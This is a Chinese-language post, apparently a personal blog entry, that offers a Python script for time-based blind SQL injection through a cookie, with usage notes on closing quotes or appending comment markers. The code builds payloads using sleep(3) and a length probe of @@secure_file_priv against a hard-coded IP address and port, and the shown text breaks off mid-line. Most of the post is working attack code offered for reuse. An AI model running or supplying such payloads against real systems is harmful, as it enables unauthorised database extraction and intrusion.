时间盲注python脚本(二分查找优化)支持cookie注入
菜鸟自用,仅供参考
使用说明
-
可根据用途更改payload中的select语句,字符型注入点有两种注入情况:
1、最后添加注释符
2、最后的字符添加单引号,与原语句中的单引号闭合 -
get_length和get_name可结合使用
-
可根据自己的猜解范围调整min和max
import requests
import datetime
#cookie中的时间盲注
def get_len_cookie():
for i in range(0,30):
url="http://119.6.122.74:2038/menu.php"
cookies={
'user':'admin'
}
#适用于字符型cookie注入
#若条件符合,延迟3s
#最后的‘%d是结合服务端的语句闭合,从而不使用注释结尾
#cookies["user"] += "' and sleep(3) and (select length(@@secure_file_priv))='%d"%(i)
#若不利用语句闭合,就要在结尾添加注释符
cookies["user"] += "' and sleep(3) and (select length(@@secure_file_priv))=%d" % (i)+'%23'
time1 = datetime.datetime.now()
re = requests